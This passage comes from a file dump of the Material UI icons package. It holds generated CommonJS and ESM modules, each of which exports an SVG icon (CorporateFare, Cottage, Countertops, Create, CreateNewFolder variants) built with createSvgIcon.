    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}, \"1\")], 'CorporateFareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}, \"1\")], 'CorporateFareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cottage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h7v-6h2v6h7v-9.38l1.79 1.36L23 11.4zm-2-2c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}), 'Cottage');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cottage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h7v-6h2v6h7v-9.38l1.79 1.36L23 11.4zm-2-2c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}), 'Cottage');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16h-5v-4h-2v4H6v-8.9l6-4.58 6 4.58zM10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}), 'CottageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16h-5v-4h-2v4H6v-8.9l6-4.58 6 4.58zM10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}), 'CottageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.39 12.19c.34-.44.25-1.07-.19-1.4l-9.6-7.33c-.36-.27-.86-.27-1.21 0L6 7.58V7c0-.55-.45-1-1-1s-1 .45-1 1v2.11l-2.21 1.68c-.44.33-.52.96-.19 1.4.34.44.96.52 1.4.19l1-.76V20c0 .55.45 1 1 1h6v-5c0-.55.45-1 1-1s1 .45 1 1v5h6c.55 0 1-.45 1-1v-8.38l.99.76c.44.34 1.07.25 1.4-.19M5.27 5c-.74 0-1.26-.8-.9-1.45C4.89 2.62 5.87 2 7 2c.38 0 .72-.22.89-.53.15-.31.5-.47.84-.47.74 0 1.26.8.9 1.45C9.11 3.38 8.13 4 7 4c-.38 0-.72.22-.89.53-.15.31-.5.47-.84.47\"\n}), 'CottageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.39 12.19c.34-.44.25-1.07-.19-1.4l-9.6-7.33c-.36-.27-.86-.27-1.21 0L6 7.58V7c0-.55-.45-1-1-1s-1 .45-1 1v2.11l-2.21 1.68c-.44.33-.52.96-.19 1.4.34.44.96.52 1.4.19l1-.76V20c0 .55.45 1 1 1h6v-5c0-.55.45-1 1-1s1 .45 1 1v5h6c.55 0 1-.45 1-1v-8.38l.99.76c.44.34 1.07.25 1.4-.19M5.27 5c-.74 0-1.26-.8-.9-1.45C4.89 2.62 5.87 2 7 2c.38 0 .72-.22.89-.53.15-.31.5-.47.84-.47.74 0 1.26.8.9 1.45C9.11 3.38 8.13 4 7 4c-.38 0-.72.22-.89.53-.15.31-.5.47-.84.47\"\n}), 'CottageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h7v-6h2v6h7v-9.38l1.79 1.36L23 11.4zm-2-2c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}), 'CottageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h7v-6h2v6h7v-9.38l1.79 1.36L23 11.4zm-2-2c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}), 'CottageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 19h-5v-4h-2v4H6v-8.9l6-4.58 6 4.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16h-5v-4h-2v4H6v-8.9l6-4.58 6 4.58zM10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}, \"1\")], 'CottageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CottageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 19h-5v-4h-2v4H6v-8.9l6-4.58 6 4.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16h-5v-4h-2v4H6v-8.9l6-4.58 6 4.58zM10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1z\"\n}, \"1\")], 'CottageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Countertops.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2v-2zm-5 8h-2v-6h2z\"\n}), 'Countertops');"
  },
  {
    "path": "packages/mui-icons-material/lib/Countertops.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2v-2zm-5 8h-2v-6h2z\"\n}), 'Countertops');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10h-4V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2zM6 6h2v2H6zm0 12v-6h5v6zm12 0h-5v-6h5z\"\n}), 'CountertopsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10h-4V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2zM6 6h2v2H6zm0 12v-6h5v6zm12 0h-5v-6h5z\"\n}), 'CountertopsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10V7.17c0-1.62-1.22-3.08-2.84-3.17-1.21-.06-2.27.59-2.8 1.57-.35.65.17 1.43.91 1.43h.01c.34 0 .68-.16.84-.46.16-.32.5-.54.88-.54.55 0 1 .45 1 1v3H8c1.1 0 2-.9 2-2V5c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2H3c-.55 0-1 .45-1 1s.45 1 1 1h1v7c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-7h1c.55 0 1-.45 1-1s-.45-1-1-1zm-5 8h-2v-6h2z\"\n}), 'CountertopsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10V7.17c0-1.62-1.22-3.08-2.84-3.17-1.21-.06-2.27.59-2.8 1.57-.35.65.17 1.43.91 1.43h.01c.34 0 .68-.16.84-.46.16-.32.5-.54.88-.54.55 0 1 .45 1 1v3H8c1.1 0 2-.9 2-2V5c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2H3c-.55 0-1 .45-1 1s.45 1 1 1h1v7c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-7h1c.55 0 1-.45 1-1s-.45-1-1-1zm-5 8h-2v-6h2z\"\n}), 'CountertopsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2v-2zm-5 8h-2v-6h2z\"\n}), 'CountertopsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2v-2zm-5 8h-2v-6h2z\"\n}), 'CountertopsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6h2v2H6zm0 12v-6h5v6zm12 0h-5v-6h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10h-4V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2zM6 6h2v2H6zm0 12v-6h5v6zm12 0h-5v-6h5z\"\n}, \"1\")], 'CountertopsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CountertopsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6h2v2H6zm0 12v-6h5v6zm12 0h-5v-6h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10h-4V7c0-1.66-1.34-3-3-3s-3 1.34-3 3h2c0-.55.45-1 1-1s1 .45 1 1v3H8c1.1 0 2-.9 2-2V4H4v4c0 1.1.9 2 2 2H2v2h2v8h16v-8h2zM6 6h2v2H6zm0 12v-6h5v6zm12 0h-5v-6h5z\"\n}, \"1\")], 'CountertopsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Create.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'Create');"
  },
  {
    "path": "packages/mui-icons-material/lib/Create.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'Create');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-1 8h-3v3h-2v-3h-3v-2h3V9h2v3h3z\"\n}), 'CreateNewFolder');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-1 8h-3v3h-2v-3h-3v-2h3V9h2v3h3z\"\n}), 'CreateNewFolder');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l2 2H20zm-8-4h2v2h2v-2h2v-2h-2v-2h-2v2h-2z\"\n}), 'CreateNewFolderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l2 2H20zm-8-4h2v2h2v-2h2v-2h-2v-2h-2v2h-2z\"\n}), 'CreateNewFolderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2 8h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2h-2c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'CreateNewFolderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-2 8h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2h-2c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'CreateNewFolderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-3 8h-3v3h-2v-3h-3v-2h3V9h2v3h3z\"\n}), 'CreateNewFolderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-3 8h-3v3h-2v-3h-3v-2h3V9h2v3h3z\"\n}), 'CreateNewFolderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CreateNewFolderTwoTone.js",
